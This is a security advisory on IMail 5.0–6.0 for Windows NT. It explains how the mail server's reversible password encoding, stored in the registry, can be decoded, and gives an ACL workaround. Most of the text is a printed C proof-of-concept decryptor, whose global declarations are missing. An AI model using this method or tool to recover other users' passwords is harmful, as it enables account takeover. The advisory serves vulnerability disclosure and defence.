IMail is a full-featured POP3 daemon for Microsoft Windows NT. Due to a poor password encryption scheme, any user who can login to the machine where the IMail database resides and is able to gain access to the registry keys where the passwords are stored can also retrieve the encrypted passwords for any other user. The only thing that is needed is a decryption tool, provided below.
Credit:
The information was provided by: Matt Conover.
Vulnerable systems:
IMail versions 5.0 - 5.08
IMail version 6.0
The IMail database is really just a set of registry keys. The IMail server stores all the users in the registry under:
[HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\ <DOMAINNAME> \Users\ <USERNAME>]
Where DOMAINNAME is the name of the domain the POP3 server is serving and USERNAME is the user.
Within that key is a string value named 'Password' which contains the encrypted copy of the password.
Encryption scheme:
Take the lowercase of the account name, split it up by letter and convert each letter to its ASCII equivalent. Next, find the difference between each letter and the first letter. Take each letter of the password, find its ASCII equivalent and add the offset (ASCII value of first char of the account name minus 97) then subtract the corresponding difference. Use the differences recursively if the password length is greater than the length of the account name. This gives you the character's new ASCII value. Next, Look it up the new ASCII value in the ASCII-ENCRYPTED table (see Appendix I) and you now have the encrypted letter.
Example:
Account Name: mike
m = 109
i = 105
k = 107
e = 101
Differences:
First - First: 0
First - Second: 4
First - Third: 2
First - Fourth: 8
Unencrypted Password: rocks
r = 114
o = 111
c = 99
k = 107
s = 115
The decryption scheme is a little easier. First, like the encryption scheme, take the account name, split it up by letter and convert each letter to its ASCII equivalent. Next, find the difference between each letter and the first letter. Now split the encrypted password by two characters (e.g., EFDE = EF DE) then look up their ASCII equivalent within the ASCII-ENCRYPTED table (see Appendix I). Take that ASCII value and add the corresponding difference. Look this value up in the ASCII table. This table is made by taking the ASCII value of the first character of the account name and setting it equal to 'a'.
Example:
Account Name: mike
m = 109
i = 105
k = 107
e = 101
Differences:
First - First: 0
First - Second: 4
First - Third: 2
First - Fourth: 8
Look up in table (see Appendix II:)
126 = r
123 = o
111 = c
119 = k
127 = s
Unencrypted Password: rocks
Workaround:
Set an ACL on each registry key containing the password to prevent normal users (while still allowing IMail) from viewing other users' passwords.
Where to find appendixes:
Because they took up so much space, w00w00 has put them in a separate file located at: http://www.w00w00.org/imail_map.txt.
They include the mappings of all characters.
Proof-of-concept code (by Mike:)
/*
* IMail password decryptor
* By: Mike Davis (mike@eEye.com)
*
* Thanks to Marc and Jason for testing and their general eliteness.
* Usage: imaildec <account name> <encrypted password>
*
*/
int
main (int argc, char *argv[])
{
int i, j, k, ascii, start, diffs[66], num, loop;
char asciic[155];
if (argc <= 2 || argc > 3) usage (argv[0]);
if (strlen (argv[2]) > 62)
{
printf ("\nERROR: Please enter an encrypted password less than 60 "
"characters.\n\n");
usage (argv[0]);
}
printf ("IMail password decryptor\nBy: Mike <Mike@eEye.com>\n\n");
ascii = -97;
/* Make the hash table we will need to refer to. */
for (i = 0, start = 0; i < strlen (list); i++)
{
for (k = 0; k < strlen (list); k++)
{
hashtable[start].string = (char *) malloc (3);
sprintf (hashtable[start].string, "%c%c", list[i], list[k]);
hashtable[start].o = ascii++;
/* Don't want to skip one! */
if ((k + 1) != strlen (list)) start++;
}
start++;
}
for (k = 0, start = 0; k < strlen (argv[1]); k += strlen (argv[1]))
{
for (j = k; j < k + strlen (argv[2]); j += 2, start++)
{
encrypted[start].string = (char *) malloc (3);
sprintf (encrypted[start].string, "%c%c", argv[2][j],
argv[2][j + 1]);
}
}
for (j = 0, start = 0; j < strlen(argv[2]) / strlen(argv[1]); j++)
for (i = 0; i < strlen (argv[1]); i++, start++)
diffs[start] = (lc(argv[1][0]) - lc(argv[1][i]));
printf ("Account Name: %s\n", argv[1]);
printf ("Encrypted: ");
for (i = 0; i < strlen (argv[2]) / 2; i++) printf ("%s", encrypted[i]);
putchar('\n');
printf ("Unencrypted: ");
for (i = 0, loop = 0; i < strlen (argv[2]) / 2; i++, loop++)
{
num = search (encrypted[i].string) + diffs[i];
if (loop == 0)
{
/* Make alphabet */
for (j = lc (argv[1][0]) - 65, start = 0;
j <= lc (argv[1][0]) + 29;
j++, start++)
{
asciic[j] = alpha[start];
}
}
putchar(asciic[num]);
}
putchar('\n');
return 0;
}
int
search (char *term)
{
register int n;
for (n = 0; n < 255; n++)
if (hashtable[n].string && eql (hashtable[n].string, term))
return hashtable[n].o;
return 0;
}
int
eql (char *first, char *second)
{
register int i;
for (i = 0; first[i] && (first[i] == second[i]); i++);
return (first[i] == second[i]);
}
int
lc (int letter)
{
if (letter >= 'A' && letter <= 'Z') return letter + 'a' - 'A';
else return letter;
}